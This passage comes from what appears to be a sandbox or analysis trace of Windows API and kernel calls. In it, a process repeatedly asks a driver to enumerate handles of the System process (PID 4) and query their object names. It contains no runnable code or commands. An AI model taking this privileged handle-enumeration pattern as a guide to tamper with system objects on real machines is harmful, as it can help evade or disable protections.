DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002156790, HandleInformation=0x0) returned 0x0 [0135.078] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.079] PsReleaseProcessExitSynchronization () returned 0x2 [0135.079] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.079] ObQueryNameString (in: Object=0xfffffa8002156790, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.079] ObfDereferenceObject (Object=0xfffffa8002156790) returned 0x2 [0135.079] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.079] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.079] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.079] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.079] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.079] PsAcquireProcessExitSynchronization () returned 0x0 [0135.079] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.079] ObReferenceObjectByHandle (in: Handle=0xffffffff800005b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001a472d0, HandleInformation=0x0) returned 0x0 [0135.079] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.079] PsReleaseProcessExitSynchronization () returned 0x2 [0135.079] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.079] ObQueryNameString (in: Object=0xfffffa8001a472d0, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.079] ObfDereferenceObject (Object=0xfffffa8001a472d0) returned 0x2 [0135.079] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.079] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.079] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.079] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.079] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.079] PsAcquireProcessExitSynchronization () returned 0x0 [0135.079] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.079] ObReferenceObjectByHandle (in: Handle=0xffffffff800005b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800a9fe050, HandleInformation=0x0) returned 0x0 [0135.079] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.079] PsReleaseProcessExitSynchronization () returned 0x2 [0135.079] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.079] ObQueryNameString (in: Object=0xfffffa800a9fe050, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.079] ObfDereferenceObject (Object=0xfffffa800a9fe050) returned 0x2 [0135.079] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.080] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.080] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.080] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.080] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.080] PsAcquireProcessExitSynchronization () returned 0x0 [0135.080] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.080] ObReferenceObjectByHandle (in: Handle=0xffffffff800005c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001f92f20, HandleInformation=0x0) returned 0x0 [0135.080] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.080] PsReleaseProcessExitSynchronization () returned 0x2 [0135.080] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.080] ObQueryNameString (in: Object=0xfffffa8001f92f20, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.080] ObfDereferenceObject (Object=0xfffffa8001f92f20) returned 0x2 [0135.080] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.080] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.080] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.080] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.080] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.080] PsAcquireProcessExitSynchronization () returned 0x0 [0135.080] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.080] ObReferenceObjectByHandle (in: Handle=0xffffffff800005c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800235a460, HandleInformation=0x0) returned 0x0 [0135.080] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.080] PsReleaseProcessExitSynchronization () returned 0x2 [0135.080] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.080] ObQueryNameString (in: Object=0xfffffa800235a460, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.080] ObfDereferenceObject (Object=0xfffffa800235a460) returned 0x2 [0135.081] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.126] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.126] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.126] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.126] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.126] PsAcquireProcessExitSynchronization () returned 0x0 [0135.126] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.127] ObReferenceObjectByHandle (in: Handle=0xffffffff800005d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800213eb80, HandleInformation=0x0) returned 0x0 [0135.127] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.127] PsReleaseProcessExitSynchronization () returned 0x2 [0135.127] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.127] ObQueryNameString (in: Object=0xfffffa800213eb80, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473550) returned 0x0 [0135.127] ObfDereferenceObject (Object=0xfffffa800213eb80) returned 0x2 [0135.127] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.127] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.127] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.127] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0135.127] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.127] PsAcquireProcessExitSynchronization () returned 0x0 [0135.127] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.127] ObReferenceObjectByHandle (in: Handle=0xffffffff800005d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020863b0, HandleInformation=0x0) returned 0x0 [0135.127] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.127] PsReleaseProcessExitSynchronization () returned 0x2 [0135.127] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.127] ObQueryNameString (in: Object=0xfffffa80020863b0, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.128] ObfDereferenceObject (Object=0xfffffa80020863b0) returned 0x2 [0135.128] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.128] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.128] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.128] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.128] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.128] PsAcquireProcessExitSynchronization () returned 0x0 [0135.128] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.128] ObReferenceObjectByHandle (in: Handle=0xffffffff800005d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800e5cc050, HandleInformation=0x0) returned 0x0 [0135.128] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.128] PsReleaseProcessExitSynchronization () returned 0x2 [0135.128] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.128] ObQueryNameString (in: Object=0xfffffa800e5cc050, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.128] ObfDereferenceObject (Object=0xfffffa800e5cc050) returned 0x2 [0135.128] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.128] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.128] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.128] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.128] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.128] PsAcquireProcessExitSynchronization () returned 0x0 [0135.128] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.128] ObReferenceObjectByHandle (in: Handle=0xffffffff800005e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80025243b0, HandleInformation=0x0) returned 0x0 [0135.128] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.128] PsReleaseProcessExitSynchronization () returned 0x2 [0135.128] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.128] ObQueryNameString (in: Object=0xfffffa80025243b0, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.128] ObfDereferenceObject (Object=0xfffffa80025243b0) returned 0x2 [0135.128] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.128] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.128] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.129] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.129] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.129] PsAcquireProcessExitSynchronization () returned 0x0 [0135.129] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.129] ObReferenceObjectByHandle (in: Handle=0xffffffff800005e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80033f89a0, HandleInformation=0x0) returned 0x0 [0135.129] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.129] PsReleaseProcessExitSynchronization () returned 0x2 [0135.129] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.129] ObQueryNameString (in: Object=0xfffffa80033f89a0, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.129] ObfDereferenceObject (Object=0xfffffa80033f89a0) returned 0x2 [0135.129] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.129] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.129] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.129] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.129] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.129] PsAcquireProcessExitSynchronization () returned 0x0 [0135.129] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.129] ObReferenceObjectByHandle (in: Handle=0xffffffff800005f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003920370, HandleInformation=0x0) returned 0x0 [0135.129] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.129] PsReleaseProcessExitSynchronization () returned 0x2 [0135.129] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.129] ObQueryNameString (in: Object=0xfffffa8003920370, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.129] ObfDereferenceObject (Object=0xfffffa8003920370) returned 0x2 [0135.129] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.129] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.129] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.129] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.129] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.129] PsAcquireProcessExitSynchronization () returned 0x0 [0135.129] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.129] ObReferenceObjectByHandle (in: Handle=0xffffffff800005f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003311f20, HandleInformation=0x0) returned 0x0 [0135.129] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.129] PsReleaseProcessExitSynchronization () returned 0x2 [0135.129] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.129] ObQueryNameString (in: Object=0xfffffa8003311f20, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.130] ObfDereferenceObject (Object=0xfffffa8003311f20) returned 0x2 [0135.130] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.130] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.130] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.130] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.130] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.130] PsAcquireProcessExitSynchronization () returned 0x0 [0135.130] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.130] ObReferenceObjectByHandle (in: Handle=0xffffffff800005f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003312b70, HandleInformation=0x0) returned 0x0 [0135.130] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.130] PsReleaseProcessExitSynchronization () returned 0x2 [0135.130] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.130] ObQueryNameString (in: Object=0xfffffa8003312b70, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.130] ObfDereferenceObject (Object=0xfffffa8003312b70) returned 0x2 [0135.130] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.130] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.130] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.130] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.130] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.130] PsAcquireProcessExitSynchronization () returned 0x0 [0135.130] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.130] ObReferenceObjectByHandle (in: Handle=0xffffffff80000608, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800214bd20, HandleInformation=0x0) returned 0x0 [0135.130] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.130] PsReleaseProcessExitSynchronization () returned 0x2 [0135.130] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.130] ObQueryNameString (in: Object=0xfffffa800214bd20, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0135.130] ObfDereferenceObject (Object=0xfffffa800214bd20) returned 0x2 [0135.130] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.130] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.130] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.130] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xf8, lpOverlapped=0x0) returned 1 [0135.130] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.130] PsAcquireProcessExitSynchronization () returned 0x0 [0135.130] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.131] ObReferenceObjectByHandle (in: Handle=0xffffffff80000610, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800d41cd20, HandleInformation=0x0) returned 0x0 [0135.131] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.131] PsReleaseProcessExitSynchronization () returned 0x2 [0135.131] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.131] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473508) returned 0x0 [0135.131] ObfDereferenceObject (Object=0xfffffa800d41cd20) returned 0x12 [0135.131] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.131] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.131] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.131] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.131] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.131] PsAcquireProcessExitSynchronization () returned 0x0 [0135.131] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.131] ObReferenceObjectByHandle (in: Handle=0xffffffff80000620, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800342a5e0, HandleInformation=0x0) returned 0x0 [0135.131] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.131] PsReleaseProcessExitSynchronization () returned 0x2 [0135.131] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.131] ObQueryNameString (in: Object=0xfffffa800342a5e0, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473550) returned 0x0 [0135.131] ObfDereferenceObject 